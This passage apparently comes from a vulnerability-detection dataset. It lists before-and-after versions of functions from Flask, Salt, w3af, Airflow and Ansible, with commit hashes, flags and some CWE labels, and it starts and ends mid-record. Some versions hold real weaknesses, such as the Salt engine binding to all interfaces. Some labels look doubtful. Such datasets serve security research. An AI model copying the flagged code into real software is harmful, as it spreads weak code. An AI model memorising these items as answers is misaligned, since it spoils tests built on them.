            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            fsize = os.path.getsize(filename)
            headers['Content-Length'] = fsize
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    if last_modified is not None:
        rv.last_modified = last_modified
    elif mtime is not None:
        rv.last_modified = mtime

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

    if conditional:
        if callable(getattr(Range, 'to_content_range_header', None)):
            # Werkzeug supports Range Requests
            # Remove this test when support for Werkzeug <0.12 is dropped
            try:
                rv = rv.make_conditional(request, accept_ranges=True,
                                         complete_length=fsize)
            except RequestedRangeNotSatisfiable:
                if file is not None:
                    file.close()
                raise
        else:
            rv = rv.make_conditional(request)
        # make sure we don't send x-sendfile for servers that
        # ignore the 304 status code for x-sendfile.
        if rv.status_code == 304:
            rv.headers.pop('x-sendfile', None)
    return rv",,pallets/flask,c52e1b7388c17466a551391cdf81964bf0b7aef0,"def send_file(filename_or_fp, mimetype=None, as_attachment=False,
              attachment_filename=None, add_etags=True,
              cache_timeout=None, conditional=False, last_modified=None):
    """"""Sends the contents of a file to the client.  This will use the
    most efficient method available and configured.  By default it will
    try to use the WSGI server's file_wrapper support.  Alternatively
    you can set the application's :attr:`~Flask.use_x_sendfile` attribute
    to ``True`` to directly emit an ``X-Sendfile`` header.  This however
    requires support of the underlying webserver for ``X-Sendfile``.

    By default it will try to guess the mimetype for you, but you can
    also explicitly provide one.  For extra security you probably want
    to send certain files as attachment (HTML for instance).  The mimetype
    guessing requires a `filename` or an `attachment_filename` to be
    provided.

    ETags will also be attached automatically if a `filename` is provided. You
    can turn this off by setting `add_etags=False`.

    If `conditional=True` and `filename` is provided, this method will try to
    upgrade the response stream to support range requests.  This will allow
    the request to be answered with partial content response.

    Please never pass filenames to this function from user sources;
    you should use :func:`send_from_directory` instead.

    .. versionadded:: 0.2

    .. versionadded:: 0.5
       The `add_etags`, `cache_timeout` and `conditional` parameters were
       added.  The default behavior is now to attach etags.

    .. versionchanged:: 0.7
       mimetype guessing and etag support for file objects was
       deprecated because it was unreliable.  Pass a filename if you are
       able to, otherwise attach an etag yourself.  This functionality
       will be removed in Flask 1.0

    .. versionchanged:: 0.9
       cache_timeout pulls its default from application config, when None.

    .. versionchanged:: 0.12
       The filename is no longer automatically inferred from file objects. If
       you want to use automatic mimetype and etag support, pass a filepath via
       `filename_or_fp` or `attachment_filename`.

    .. versionchanged:: 0.12
       The `attachment_filename` is preferred over `filename` for MIME-type
       detection.

    :param filename_or_fp: the filename of the file to send in `latin-1`.
                           This is relative to the :attr:`~Flask.root_path`
                           if a relative path is specified.
                           Alternatively a file object might be provided in
                           which case ``X-Sendfile`` might not work and fall
                           back to the traditional method.  Make sure that the
                           file pointer is positioned at the start of data to
                           send before calling :func:`send_file`.
    :param mimetype: the mimetype of the file if provided. If a file path is
                     given, auto detection happens as fallback, otherwise an
                     error will be raised.
    :param as_attachment: set to ``True`` if you want to send this file with
                          a ``Content-Disposition: attachment`` header.
    :param attachment_filename: the filename for the attachment if it
                                differs from the file's filename.
    :param add_etags: set to ``False`` to disable attaching of etags.
    :param conditional: set to ``True`` to enable conditional responses.

    :param cache_timeout: the timeout in seconds for the headers. When ``None``
                          (default), this value is set by
                          :meth:`~Flask.get_send_file_max_age` of
                          :data:`~flask.current_app`.
    :param last_modified: set the ``Last-Modified`` header to this value,
        a :class:`~datetime.datetime` or timestamp.
        If a file was passed, this overrides its mtime.
    """"""
    mtime = None
    fsize = None
    if isinstance(filename_or_fp, string_types):
        filename = filename_or_fp
        if not os.path.isabs(filename):
            filename = os.path.join(current_app.root_path, filename)
        file = None
        if attachment_filename is None:
            attachment_filename = os.path.basename(filename)
    else:
        file = filename_or_fp
        filename = None

    if mimetype is None:
        if attachment_filename is not None:
            mimetype = mimetypes.guess_type(attachment_filename)[0] \
                or 'application/octet-stream'

        if mimetype is None:
            raise ValueError(
                'Unable to infer MIME-type because no filename is available. '
                'Please set either `attachment_filename`, pass a filepath to '
                '`filename_or_fp` or set your own MIME-type via `mimetype`.'
            )

    headers = Headers()
    if as_attachment:
        if attachment_filename is None:
            raise TypeError('filename unavailable, required for '
                            'sending as attachment')
        headers.add('Content-Disposition', 'attachment',
                    filename=attachment_filename)

    if current_app.use_x_sendfile and filename:
        if file is not None:
            file.close()
        headers['X-Sendfile'] = filename
        fsize = os.path.getsize(filename)
        headers['Content-Length'] = fsize
        data = None
    else:
        if file is None:
            file = open(filename, 'rb')
            mtime = os.path.getmtime(filename)
            fsize = os.path.getsize(filename)
            headers['Content-Length'] = fsize
        data = wrap_file(request.environ, file)

    rv = current_app.response_class(data, mimetype=mimetype, headers=headers,
                                    direct_passthrough=True)

    if last_modified is not None:
        rv.last_modified = last_modified
    elif mtime is not None:
        rv.last_modified = mtime

    rv.cache_control.public = True
    if cache_timeout is None:
        cache_timeout = current_app.get_send_file_max_age(filename)
    if cache_timeout is not None:
        rv.cache_control.max_age = cache_timeout
        rv.expires = int(time() + cache_timeout)

    if add_etags and filename is not None:
        from warnings import warn

        try:
            rv.set_etag('%s-%s-%s' % (
                os.path.getmtime(filename),
                os.path.getsize(filename),
                adler32(
                    filename.encode('utf-8') if isinstance(filename, text_type)
                    else filename
                ) & 0xffffffff
            ))
        except OSError:
            warn('Access %s failed, maybe it does not exist, so ignore etags in '
                 'headers' % filename, stacklevel=2)

    if conditional:
        if callable(getattr(Range, 'to_content_range_header', None)):
            # Werkzeug supports Range Requests
            # Remove this test when support for Werkzeug <0.12 is dropped
            try:
                rv = rv.make_conditional(request, accept_ranges=True,
                                         complete_length=fsize)
            except RequestedRangeNotSatisfiable:
                file.close()
                raise
        else:
            rv = rv.make_conditional(request)
        # make sure we don't send x-sendfile for servers that
        # ignore the 304 status code for x-sendfile.
        if rv.status_code == 304:
            rv.headers.pop('x-sendfile', None)
    return rv"
,UNKNOWN,UNKNOWN,salt/engines/napalm_syslog.py,1,"def start(transport='zmq',
          address='0.0.0.0',
          port=49017,
          auth_address='0.0.0.0',
          auth_port=49018,
          disable_security=False,
          certificate=None,
          os_whitelist=None,
          os_blacklist=None,
          error_whitelist=None,
          error_blacklist=None,
          host_whitelist=None,
          host_blacklist=None):
    '''
    Listen to napalm-logs and publish events into the Salt event bus.

    transport: ``zmq``
        Choose the desired transport.

        .. note::
            Currently ``zmq`` is the only valid option.

    address: ``0.0.0.0``
        The address of the publisher, as configured on napalm-logs.

    port: ``49017``
        The port of the publisher, as configured on napalm-logs.

    auth_address: ``0.0.0.0``
        The address used for authentication
        when security is not disabled.

    auth_port: ``49018``
        Port used for authentication.

    disable_security: ``False``
        Trust unencrypted messages.
        Strongly discouraged in production.

    certificate: ``None``
        Absolute path to the SSL certificate.

    os_whitelist: ``None``
        List of operating systems allowed. By default everything is allowed.

    os_blacklist: ``None``
        List of operating system to be ignored. Nothing ignored by default.

    error_whitelist: ``None``
        List of errors allowed.

    error_blacklist: ``None``
        List of errors ignored.

    host_whitelist: ``None``
        List of hosts or IPs to be allowed.

    host_blacklist: ``None``
        List of hosts of IPs to be ignored.
    '''
    if not disable_security:
        if not certificate:
            log.critical('Please use a certificate, or disable the security.')
            return
        auth = napalm_logs.utils.ClientAuth(certificate,
                                            address=auth_address,
                                            port=auth_port)

    transport_recv_fun = _get_transport_recv(name=transport,
                                             address=address,
                                             port=port)
    if not transport_recv_fun:
        log.critical('Unable to start the engine', exc_info=True)
        return
    master = False
    if __opts__['__role'] == 'master':
        master = True
    while True:
        log.debug('Waiting for napalm-logs to send anything...')
        raw_object = transport_recv_fun()
        log.debug('Received from napalm-logs:')
        log.debug(raw_object)
        if not disable_security:
            dict_object = auth.decrypt(raw_object)
        else:
            dict_object = napalm_logs.utils.unserialize(raw_object)
        try:
            event_os = dict_object['os']
            if os_blacklist or os_whitelist:
                valid_os = salt.utils.check_whitelist_blacklist(event_os,
                                                                whitelist=os_whitelist,
                                                                blacklist=os_blacklist)
                if not valid_os:
                    log.info('Ignoring NOS {} as per whitelist/blacklist'.format(event_os))
                    continue
            event_error = dict_object['error']
            if error_blacklist or error_whitelist:
                valid_error = salt.utils.check_whitelist_blacklist(event_error,
                                                                   whitelist=error_whitelist,
                                                                   blacklist=error_blacklist)
                if not valid_error:
                    log.info('Ignoring error {} as per whitelist/blacklist'.format(event_error))
                    continue
            event_host = dict_object.get('host') or dict_object.get('ip')
            if host_blacklist or host_whitelist:
                valid_host = salt.utils.check_whitelist_blacklist(event_host,
                                                                  whitelist=host_whitelist,
                                                                  blacklist=host_blacklist)
                if not valid_host:
                    log.info('Ignoring messages from {} as per whitelist/blacklist'.format(event_host))
                    continue
            tag = 'napalm/syslog/{os}/{error}/{host}'.format(
                os=event_os,
                error=event_error,
                host=event_host
            )
        except KeyError as kerr:
            log.warning('Missing keys from the napalm-logs object:', exc_info=True)
            log.warning(dict_object)
            continue  # jump to the next object in the queue
        log.debug('Sending event {0}'.format(tag))
        log.debug(raw_object)
        if master:
            event.get_master_event(__opts__,
                                   __opts__['sock_dir']
                                   ).fire_event(dict_object, tag)
        else:
            __salt__['event.send'](tag, dict_object)",CWE-605,saltstack/salt,51a5d39b0325ab452f5add4a1e62b68b95bd7f1b,"def start(transport='zmq',
          address='0.0.0.0',
          port=49017,
          auth_address='0.0.0.0',
          auth_port=49018,
          disable_security=False,
          certificate=None,
          os_whitelist=None,
          os_blacklist=None,
          error_whitelist=None,
          error_blacklist=None,
          host_whitelist=None,
          host_blacklist=None):
    '''
    Listen to napalm-logs and publish events into the Salt event bus.

    transport: ``zmq``
        Choose the desired transport.

        .. note::
            Currently ``zmq`` is the only valid option.

    address: ``0.0.0.0``
        The address of the publisher, as configured on napalm-logs.

    port: ``49017``
        The port of the publisher, as configured on napalm-logs.

    auth_address: ``0.0.0.0``
        The address used for authentication
        when security is not disabled.

    auth_port: ``49018``
        Port used for authentication.

    disable_security: ``False``
        Trust unencrypted messages.
        Strongly discouraged in production.

    certificate: ``None``
        Absolute path to the SSL certificate.

    os_whitelist: ``None``
        List of operating systems allowed. By default everything is allowed.

    os_blacklist: ``None``
        List of operating system to be ignored. Nothing ignored by default.

    error_whitelist: ``None``
        List of errors allowed.

    error_blacklist: ``None``
        List of errors ignored.

    host_whitelist: ``None``
        List of hosts or IPs to be allowed.

    host_blacklist: ``None``
        List of hosts of IPs to be ignored.
    '''
    if not disable_security:
        if not certificate:
            log.critical('Please use a certificate, or disable the security.')
            return
        priv_key, verify_key = napalm_logs.utils.authenticate(certificate,
                                                              address=auth_address,
                                                              port=auth_port)
    transport_recv_fun = _get_transport_recv(name=transport,
                                             address=address,
                                             port=port)
    if not transport_recv_fun:
        log.critical('Unable to start the engine', exc_info=True)
        return
    master = False
    if __opts__['__role'] == 'master':
        master = True
    while True:
        log.debug('Waiting for napalm-logs to send anything...')
        raw_object = transport_recv_fun()
        log.debug('Received from napalm-logs:')
        log.debug(raw_object)
        if not disable_security:
            dict_object = napalm_logs.utils.decrypt(raw_object, verify_key, priv_key)
        else:
            dict_object = napalm_logs.utils.unserialize(raw_object)
        try:
            event_os = dict_object['os']
            if os_blacklist or os_whitelist:
                valid_os = salt.utils.check_whitelist_blacklist(event_os,
                                                                whitelist=os_whitelist,
                                                                blacklist=os_blacklist)
                if not valid_os:
                    log.info('Ignoring NOS {} as per whitelist/blacklist'.format(event_os))
                    continue
            event_error = dict_object['error']
            if error_blacklist or error_whitelist:
                valid_error = salt.utils.check_whitelist_blacklist(event_error,
                                                                   whitelist=error_whitelist,
                                                                   blacklist=error_blacklist)
                if not valid_error:
                    log.info('Ignoring error {} as per whitelist/blacklist'.format(event_error))
                    continue
            event_host = dict_object.get('host') or dict_object.get('ip')
            if host_blacklist or host_whitelist:
                valid_host = salt.utils.check_whitelist_blacklist(event_host,
                                                                  whitelist=host_whitelist,
                                                                  blacklist=host_blacklist)
                if not valid_host:
                    log.info('Ignoring messages from {} as per whitelist/blacklist'.format(event_host))
                    continue
            tag = 'napalm/syslog/{os}/{error}/{host}'.format(
                os=event_os,
                error=event_error,
                host=event_host
            )
        except KeyError as kerr:
            log.warning('Missing keys from the napalm-logs object:', exc_info=True)
            log.warning(dict_object)
            continue  # jump to the next object in the queue
        log.debug('Sending event {0}'.format(tag))
        log.debug(raw_object)
        if master:
            event.get_master_event(__opts__,
                                   __opts__['sock_dir']
                                   ).fire_event(dict_object, tag)
        else:
            __salt__['event.send'](tag, dict_object)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/targetSettings.py,0,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A dictionary with the options for the plugin.
        @return: No value is returned.
        '''
        targetUrls = optionsMap['target'].getValue()
        
        for targetUrl in targetUrls:
            aFile = targetUrl.count('file://') and len(targetUrl) > len('file://')
            aHTTP = targetUrl.count('http://') and len(targetUrl) > len('http://')
            aHTTPS = targetUrl.count('https://') and len(targetUrl) > len('https://')
            if not aFile and not aHTTP and not aHTTPS:
                raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file) and a domain/IP.' )
        
        for targetUrl in targetUrls:
            if targetUrl.count('file://'):
                try:
                    f = open( targetUrl.replace( 'file://' , '' ) )
                except:
                    raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
                else:
                    for line in f:
                        targetUrls.append( line.strip() )
                    f.close()
                targetUrls.remove( targetUrl )
        
        # Now we perform a check to see if the user has specified more than one target
        # domain, for example: ""http://google.com, http://yahoo.com"".
        domainList = [urlParser.getNetLocation(targetURL) for targetURL in targetUrls]
        domainList = list( set(domainList) )
        if len( domainList ) > 1:
            msg = 'You specified more than one target domain: ' + ','.join(domainList)
            msg += ' . And w3af only supports one target domain at the time.'
            raise w3afException(msg)
        
        # Save in the config, the target URLs, this may be usefull for some plugins.
        cf.cf.save('targets', targetUrls)
        cf.cf.save('targetDomains', [ urlParser.getNetLocation( i ) for i in targetUrls ] )
        cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
        
        if targetUrls:
            sessName = [ urlParser.getNetLocation(x) for x in targetUrls ]
            sessName = '-'.join(sessName)
        else:
            sessName = 'noTarget'

        cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
        
        # Advanced target selection
        os = optionsMap['targetOS'].getValueStr()
        if os.lower() in self._operatingSystems:
            cf.cf.save('targetOS', os.lower() )
        else:
            raise w3afException('Unknown target operating system: ' + os)
        
        pf = optionsMap['targetFramework'].getValueStr()
        if pf.lower() in self._programmingFrameworks:
            cf.cf.save('targetFramework', pf.lower() )
        else:
            raise w3afException('Unknown target programming framework: ' + pf)",,andresriancho/w3af,6cb3784cb8713694e506ef1e6241fb510bdce610,"def setOptions( self, optionsMap ):
        '''
        This method sets all the options that are configured using the user interface 
        generated by the framework using the result of getOptions().
        
        @parameter optionsMap: A dictionary with the options for the plugin.
        @return: No value is returned.
        '''
        targetUrls = optionsMap['target'].getValue()
        
        for targetUrl in targetUrls:
            if not targetUrl.count('file://') and not targetUrl.count('http://')\
            and not targetUrl.count('https://'):
                raise w3afException('Invalid format for target URL ""'+ targetUrl + '"", you have to specify the protocol (http/https/file).' )
        
        for targetUrl in targetUrls:
            if targetUrl.count('file://'):
                try:
                    f = open( targetUrl.replace( 'file://' , '' ) )
                except:
                    raise w3afException('Cannot open target file: ' + targetUrl.replace( 'file://' , '' ) )
                else:
                    for line in f:
                        targetUrls.append( line.strip() )
                    f.close()
                targetUrls.remove( targetUrl )
        
        # Now we perform a check to see if the user has specified more than one target
        # domain, for example: ""http://google.com, http://yahoo.com"".
        domainList = [urlParser.getNetLocation(targetURL) for targetURL in targetUrls]
        domainList = list( set(domainList) )
        if len( domainList ) > 1:
            msg = 'You specified more than one target domain: ' + ','.join(domainList)
            msg += ' . And w3af only supports one target domain at the time.'
            raise w3afException(msg)
        
        # Save in the config, the target URLs, this may be usefull for some plugins.
        cf.cf.save('targets', targetUrls)
        cf.cf.save('targetDomains', [ urlParser.getNetLocation( i ) for i in targetUrls ] )
        cf.cf.save('baseURLs', [ urlParser.baseUrl( i ) for i in targetUrls ] )
        
        if targetUrls:
            sessName = [ urlParser.getNetLocation(x) for x in targetUrls ]
            sessName = '-'.join(sessName)
        else:
            sessName = 'noTarget'

        cf.cf.save('sessionName', sessName + '-' + time.strftime('%Y-%b-%d_%H-%M') )
        
        # Advanced target selection
        os = optionsMap['targetOS'].getValueStr()
        if os.lower() in self._operatingSystems:
            cf.cf.save('targetOS', os.lower() )
        else:
            raise w3afException('Unknown target operating system: ' + os)
        
        pf = optionsMap['targetFramework'].getValueStr()
        if pf.lower() in self._programmingFrameworks:
            cf.cf.save('targetFramework', pf.lower() )
        else:
            raise w3afException('Unknown target programming framework: ' + pf)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/nova.py,0,"def __query_node_data(vm_, data):
        try:
            node = show_instance(vm_['name'], 'action')
            log.debug(
                'Loaded node data for {0}:\n{1}'.format(
                    vm_['name'],
                    pprint.pformat(node)
                )
            )
        except Exception as err:
            log.error(
                'Failed to get nodes list: {0}'.format(
                    err
                ),
                # Show the traceback if the debug logging level is enabled
                exc_info_on_loglevel=logging.DEBUG
            )
            # Trigger a failure in the wait for IP function
            return False

        running = node['state'] == 'ACTIVE'
        if not running:
            # Still not running, trigger another iteration
            return

        if rackconnect(vm_) is True:
            extra = node.get('extra', {})
            rc_status = extra.get('metadata', {}).get(
                'rackconnect_automation_status', '')
            if rc_status != 'DEPLOYED':
                log.debug('Waiting for Rackconnect automation to complete')
                return

        if managedcloud(vm_) is True:
            extra = conn.server_show_libcloud(
                node['id']
            ).extra
            mc_status = extra.get('metadata', {}).get(
                'rax_service_level_automation', '')

            if mc_status != 'Complete':
                log.debug('Waiting for managed cloud automation to complete')
                return

        access_ip = node.get('extra', {}).get('access_ip', '')

        rcv3 = rackconnectv3(vm_) in node['addresses']
        sshif = ssh_interface(vm_) in node['addresses']

        if any((rcv3, sshif)):
            networkname = rackconnectv3(vm_) if rcv3 else ssh_interface(vm_)
            for network in node['addresses'].get(networkname, []):
                if network['version'] is 4:
                    access_ip = network['addr']
                    break
            vm_['cloudnetwork'] = True

        # Conditions to pass this
        #
        #     Rackconnect v2: vm_['rackconnect'] = True
        #         If this is True, then the server will not be accessible from the ipv4 addres in public_ips.
        #         That interface gets turned off, and an ipv4 from the dedicated firewall is routed to the
        #         server.  In this case we can use the private_ips for ssh_interface, or the access_ip.
        #
        #     Rackconnect v3: vm['rackconnectv3'] = <cloudnetwork>
        #         If this is the case, salt will need to use the cloud network to login to the server.  There
        #         is no ipv4 address automatically provisioned for these servers when they are booted.  SaltCloud
        #         also cannot use the private_ips, because that traffic is dropped at the hypervisor.
        #
        #     CloudNetwork: vm['cloudnetwork'] = True
        #         If this is True, then we should have an access_ip at this point set to the ip on the cloud
        #         network.  If that network does not exist in the 'addresses' dictionary, then SaltCloud will
        #         use the initial access_ip, and not overwrite anything.

        if any((cloudnetwork(vm_), rackconnect(vm_))) and (ssh_interface(vm_) != 'private_ips' or rcv3):
            data.public_ips = [access_ip, ]
            return data

        result = []

        if 'private_ips' not in node and 'public_ips' not in node and \
           'floating_ips' not in node and 'fixed_ips' not in node and \
           'access_ip' in node.get('extra', {}):
            result = [node['extra']['access_ip']]

        if not result:
            temp_dd = node.get('addresses', {})
            for k, addr_ll in temp_dd.iteritems():
                for addr_dd in addr_ll:
                    addr = addr_dd.get('addr', None)
                    if addr is not None:
                        result.append(addr.strip())

        private = node.get('private_ips', [])
        public = node.get('public_ips', [])
        fixed = node.get('fixed_ips', [])
        floating = node.get('floating_ips', [])

        if private and not public:
            log.warning(
                'Private IPs returned, but not public... Checking for '
                'misidentified IPs'
            )
            for private_ip in private:
                private_ip = preferred_ip(vm_, [private_ip])
                if salt.utils.cloud.is_public_ip(private_ip):
                    log.warning('{0} is a public IP'.format(private_ip))
                    data.public_ips.append(private_ip)
                    log.warning(
                        (
                            'Public IP address was not ready when we last'
                            ' checked.  Appending public IP address now.'
                        )
                    )
                    public = data.public_ips
                else:
                    log.warning('{0} is a private IP'.format(private_ip))
                    ignore_ip = ignore_cidr(vm_, private_ip)
                    if private_ip not in data.private_ips and not ignore_ip:
                        result.append(private_ip)

        # populate return data with private_ips
        # when ssh_interface is set to private_ips and public_ips exist
        if not result and ssh_interface(vm_) == 'private_ips':
            for private_ip in private:
                ignore_ip = ignore_cidr(vm_, private_ip)
                if private_ip not in data.private_ips and not ignore_ip:
                    result.append(private_ip)

        non_private_ips = []

        if public:
            data.public_ips = public
            if ssh_interface(vm_) == 'public_ips':
                non_private_ips.append(public)

        if floating:
            data.floating_ips = floating
            if ssh_interface(vm_) == 'floating_ips':
                non_private_ips.append(floating)

        if fixed:
            data.fixed_ips = fixed
            if ssh_interface(vm_) == 'fixed_ips':
                non_private_ips.append(fixed)

        if non_private_ips:
            log.debug('result = {0}'.format(non_private_ips))
            data.private_ips = result
            if ssh_interface(vm_) != 'private_ips':
                return data

        if result:
            log.debug('result = {0}'.format(result))
            data.private_ips = result
            if ssh_interface(vm_) == 'private_ips':
                return data",,saltstack/salt,6ac3f4d0b4990f17cead7c483204247927f43765,"def __query_node_data(vm_, data):
        try:
            node = show_instance(vm_['name'], 'action')
            log.debug(
                'Loaded node data for {0}:\n{1}'.format(
                    vm_['name'],
                    pprint.pformat(node)
                )
            )
        except Exception as err:
            log.error(
                'Failed to get nodes list: {0}'.format(
                    err
                ),
                # Show the traceback if the debug logging level is enabled
                exc_info_on_loglevel=logging.DEBUG
            )
            # Trigger a failure in the wait for IP function
            return False

        running = node['state'] == 'ACTIVE'
        if not running:
            # Still not running, trigger another iteration
            return

        if rackconnect(vm_) is True:
            extra = node.get('extra', {})
            rc_status = extra.get('metadata', {}).get(
                'rackconnect_automation_status', '')
            if rc_status != 'DEPLOYED':
                log.debug('Waiting for Rackconnect automation to complete')
                return

        if managedcloud(vm_) is True:
            extra = conn.server_show_libcloud(
                node['id']
            ).extra
            mc_status = extra.get('metadata', {}).get(
                'rax_service_level_automation', '')

            if mc_status != 'Complete':
                log.debug('Waiting for managed cloud automation to complete')
                return

        access_ip = node.get('extra', {}).get('access_ip', '')

        rcv3 = rackconnectv3(vm_) in node['addresses']
        sshif = ssh_interface(vm_) in node['addresses']

        if any((rcv3, sshif)):
            networkname = rackconnectv3(vm_) if rcv3 else ssh_interface(vm_)
            for network in node['addresses'].get(networkname, []):
                if network['version'] is 4:
                    access_ip = network['addr']
                    break
            vm_['cloudnetwork'] = True

        # Conditions to pass this
        #
        #     Rackconnect v2: vm_['rackconnect'] = True
        #         If this is True, then the server will not be accessible from the ipv4 addres in public_ips.
        #         That interface gets turned off, and an ipv4 from the dedicated firewall is routed to the
        #         server.  In this case we can use the private_ips for ssh_interface, or the access_ip.
        #
        #     Rackconnect v3: vm['rackconnectv3'] = <cloudnetwork>
        #         If this is the case, salt will need to use the cloud network to login to the server.  There
        #         is no ipv4 address automatically provisioned for these servers when they are booted.  SaltCloud
        #         also cannot use the private_ips, because that traffic is dropped at the hypervisor.
        #
        #     CloudNetwork: vm['cloudnetwork'] = True
        #         If this is True, then we should have an access_ip at this point set to the ip on the cloud
        #         network.  If that network does not exist in the 'addresses' dictionary, then SaltCloud will
        #         use the initial access_ip, and not overwrite anything.

        if any((cloudnetwork(vm_), rackconnect(vm_))) and (ssh_interface(vm_) != 'private_ips' or rcv3):
            data.public_ips = [access_ip, ]
            return data

        result = []

        if 'private_ips' not in node and 'public_ips' not in node and \
           'floating_ips' not in node and 'fixed_ips' not in node and \
           'access_ip' in node.get('extra', {}):
            result = [node['extra']['access_ip']]

        private = node.get('private_ips', [])
        public = node.get('public_ips', [])
        fixed = node.get('fixed_ips', [])
        floating = node.get('floating_ips', [])

        if private and not public:
            log.warning(
                'Private IPs returned, but not public... Checking for '
                'misidentified IPs'
            )
            for private_ip in private:
                private_ip = preferred_ip(vm_, [private_ip])
                if salt.utils.cloud.is_public_ip(private_ip):
                    log.warning('{0} is a public IP'.format(private_ip))
                    data.public_ips.append(private_ip)
                    log.warning(
                        (
                            'Public IP address was not ready when we last'
                            ' checked.  Appending public IP address now.'
                        )
                    )
                    public = data.public_ips
                else:
                    log.warning('{0} is a private IP'.format(private_ip))
                    ignore_ip = ignore_cidr(vm_, private_ip)
                    if private_ip not in data.private_ips and not ignore_ip:
                        result.append(private_ip)

        # populate return data with private_ips
        # when ssh_interface is set to private_ips and public_ips exist
        if not result and ssh_interface(vm_) == 'private_ips':
            for private_ip in private:
                ignore_ip = ignore_cidr(vm_, private_ip)
                if private_ip not in data.private_ips and not ignore_ip:
                    result.append(private_ip)

        non_private_ips = []

        if public:
            data.public_ips = public
            if ssh_interface(vm_) == 'public_ips':
                non_private_ips.append(public)

        if floating:
            data.floating_ips = floating
            if ssh_interface(vm_) == 'floating_ips':
                non_private_ips.append(floating)

        if fixed:
            data.fixed_ips = fixed
            if ssh_interface(vm_) == 'fixed_ips':
                non_private_ips.append(fixed)

        if non_private_ips:
            log.debug('result = {0}'.format(non_private_ips))
            data.private_ips = result
            if ssh_interface(vm_) != 'private_ips':
                return data

        if result:
            log.debug('result = {0}'.format(result))
            data.private_ips = result
            if ssh_interface(vm_) == 'private_ips':
                return data"
,UNKNOWN,UNKNOWN,tests/providers/amazon/aws/executors/ecs/test_ecs_executor.py,1,"def test_providing_no_capacity_provider_no_lunch_type_with_cluster_default(self, mock_conn, set_env_vars):
        # If no capacity provider strategy is supplied and no launch type, but the
        # cluster has a default capacity provider strategy, use the cluster's default.
        mock_conn.describe_clusters.return_value = {
            ""clusters"": [{""defaultCapacityProviderStrategy"": [""some_strategy""]}]
        }
        os.environ.pop(f""AIRFLOW__{CONFIG_GROUP_NAME}__{AllEcsConfigKeys.LAUNCH_TYPE}"".upper())

        from airflow.providers.amazon.aws.executors.ecs import ecs_executor_config

        task_kwargs = ecs_executor_config.build_task_kwargs()
        assert ""launchType"" not in task_kwargs
        assert ""capacityProviderStrategy"" not in task_kwargs
        mock_conn.describe_clusters.assert_called_once()",CWE-703,apache/airflow,b541f5519c37c9b8b79fb2fe0e2b7105d0b12e6e,"def test_providing_no_capacity_provider_no_lunch_type_with_cluster_default(self, mock_conn, set_env_vars):
        # If no capacity provider strategy is supplied and no launch type, but the
        # cluster has a default capacity provider strategy, use the cluster's default.
        mock_conn.describe_clusters.return_value = {
            ""clusters"": [{""defaultCapacityProviderStrategy"": [""some_strategy""]}]
        }
        os.environ.pop(f""AIRFLOW__{CONFIG_GROUP_NAME}__{AllEcsConfigKeys.LAUNCH_TYPE}"".upper())

        from airflow.providers.amazon.aws.executors.ecs import ecs_executor_config

        task_kwargs = ecs_executor_config.build_task_kwargs()
        assert ""launchType"" not in task_kwargs
        assert ""capacityProviderStrategy"" not in task_kwargs
        assert mock_conn.describe_clusters.called_once()"
,UNKNOWN,UNKNOWN,lib/ansible/modules/source_control/git.py,1,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''

    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]

    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
    if depth:
        if version == 'HEAD' \
           or refspec  \
           or is_remote_branch(git_path, module, dest, repo, version) \
           or is_remote_tag(git_path, module, dest, repo, version):
            # only use depth if the remote object is branch or tag (i.e. fetchable)
            cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        cmd = [git_path, 'fetch']
        if depth:
            cmd.extend([ '--depth', str(depth) ])
        cmd.extend([remote, refspec])
        module.run_command(cmd, check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)",CWE-703,ansible/ansible,114e3cb7a4c3d8da28edde87cc55310d27f3f3f9,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''

    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]

    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
    if depth:
        if version == 'HEAD' \
           or refspec  \
           or is_remote_branch(git_path, module, dest, repo, version) \
           or is_remote_tag(git_path, module, dest, repo, version):
            # only use depth if the remote opject is branch or tag (i.e. fetchable)
            cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        cmd = [git_path, 'fetch']
        if depth:
            cmd.extend([ '--depth', str(depth) ])
